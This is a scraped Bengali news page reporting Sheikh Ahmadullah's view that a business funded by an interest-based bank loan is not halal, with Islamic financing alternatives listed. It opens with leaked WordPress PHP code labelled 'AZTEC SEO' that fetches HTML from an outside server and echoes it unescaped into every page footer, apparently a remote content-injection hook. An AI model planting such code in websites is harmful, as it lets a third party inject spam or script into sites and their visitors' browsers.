/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); ব্যাংক ঋণে ব্যবসা করা নিয়ে শায়খ আহমাদুল্লাহ যা বললেন | Dhaka Sky News

৬ ঘণ্টার ব্যবধানে আরেক দফা বাড়ল স্বর্ণের দাম

আগের সংবাদ

১৩৩টি অধ্যাদেশের বিষয়ে রাতে চূড়ান্ত সিদ্ধান্ত হতে পারে: স্বরাষ্ট্রমন্ত্রী

পরের সংবাদ

ব্যাংক ঋণে ব্যবসা করা নিয়ে শায়খ আহমাদুল্লাহ যা বললেন

যুগান্তর ডেস্ক

প্রকাশিত: March 28, 2026 , 7:05 pm

ব্যাংক ঋণে ব্যবসা করা নিয়ে শায়খ আহমাদুল্লাহ যা বললেন

শায়খ আহমাদুল্লাহ। ছবি: সংগৃহীত

বর্তমান যুগে বড় বড় বাণিজ্যিক প্রতিষ্ঠান থেকে শুরু করে ক্ষুদ্র উদ্যোক্তা—অনেকেই ব্যাংক ঋণের ওপর নির্ভরশীল। নির্দিষ্ট হারে সুদে ব্যাংক থেকে টাকা নিয়ে ব্যবসা শুরু করা কি ইসলামি শরিয়ত অনুযায়ী বৈধ? সম্প্রতি এক প্রশ্নের জবাবে আস-সুন্নাহ ফাউন্ডেশনের চেয়ারম্যান শায়খ আহমাদুল্লাহ এই বিষয়ে ইসলামের অকাট্য বিধান ব্যাখ্যা করেছেন।

ব্যাংক ঋণের টাকা দিয়ে ব্যবসা কি হালাল?

আজকাল অধিকাংশ ব্যবসা প্রতিষ্ঠান, বিশেষ করে বড় বাণিজ্যিক কার্যক্রমগুলো ব্যাংকঋণ নির্ভর। আর্থিক প্রতিষ্ঠান থেকে নির্দিষ্ট হারের সুদে টাকা নিয়ে সওদা শুরু করেন অনেকে। বিষয়টি নিয়ে ইসলাম কী বলে; এতে ব্যবসাটি পবিত্র কোরআনের বিধান ও রাসূলের সুন্নাহ অনুযায়ী হালাল বা বৈধ হবে কিনা?

সম্প্রতি আস-সুন্নাহ ফাউন্ডেশনের চেয়ারম্যান ও বিশিষ্ট ইসলামিক স্কলার শায়খ আহমাদুল্লাহর কাছে এমন একটি প্রশ্ন রেখেছিলেন তার এক অনুসারী।

প্রশ্নকর্তা জানতে চান, ‘ব্যাংক থেকে লোন নিয়ে যে টাকা দিয়ে ব্যবসা করা হয়, সে ব্যবসা হালাল হবে কিনা?’

জবাবে শায়খ আহমাদুল্লাহ বলেন, ‘সুদি ব্যাংক থেকে ‍সুদ ভিত্তিক ঋণ নিয়ে যদি ব্যবসা করা হয়, তাহলে সে ব্যবসা হালাল হবে না। সেই ব্যবসা বা সেই ব্যবসার উপার্জন খাওয়া জায়েজ হবে না।’

সম্প্রতি সামাজিক যোগাযোগমাধ্যম ফেসবুকে জীবন ঘনিষ্ঠ ইসলামিক প্রশ্নের উত্তরভিত্তিক পেজ ‘কুইক সুন্নাহ’ থেকে শায়খ আহমাদুল্লাহর এই প্রশ্নোত্তর পর্ব প্রচার করা হয়। এই পেজে সাধারণত বিশিষ্ট এই ইসলামিক স্কলারেরই নানা ফতোয়া বা মতামত তুলে ধরা হয়।

কেন এই ব্যবসা হারাম হবে?

ইসলামি শরিয়তের দৃষ্টিতে সুদ একটি অকাট্য হারাম এবং কবিরা গুনাহ। পবিত্র কুরআনে আল্লাহ তায়ালা ব্যবসাকে হালাল এবং সুদকে হারাম ঘোষণা করেছেন। সুদি ঋণের মাধ্যমে অর্জিত মূলধন দিয়ে যে ব্যবসা পরিচালিত হয়, তার ভিত্তিই থাকে হারামের ওপর। ফলে সেই ব্যবসার লভ্যাংশও ইসলামের দৃষ্টিতে পবিত্র থাকে না।

ব্যবসায়ীদের জন্য শরিয়তসম্মত বিকল্প কী?

সুদি ব্যাংকিং ব্যবস্থার পরিবর্তে ব্যবসায়ীরা নিচের বিকল্পগুলো গ্রহণ করতে পারেন:

ইসলামিক ব্যাংকিং: শরিয়াহ ভিত্তিক ব্যাংকগুলোর ‘মুদারাবা’ বা ‘মুশারাকা’ (অংশীদারিত্ব) পদ্ধতিতে বিনিয়োগ গ্রহণ করা।

ব্যক্তিগত ঋণ: সুদমুক্ত করজে হাসানা বা ব্যক্তিগত ঋণ নিয়ে ব্যবসা শুরু করা।

অংশীদারিত্ব: নিজের পুঁজি না থাকলে অন্য কারো সঙ্গে লভ্যাংশের ভিত্তিতে যৌথ ব্যবসা করা।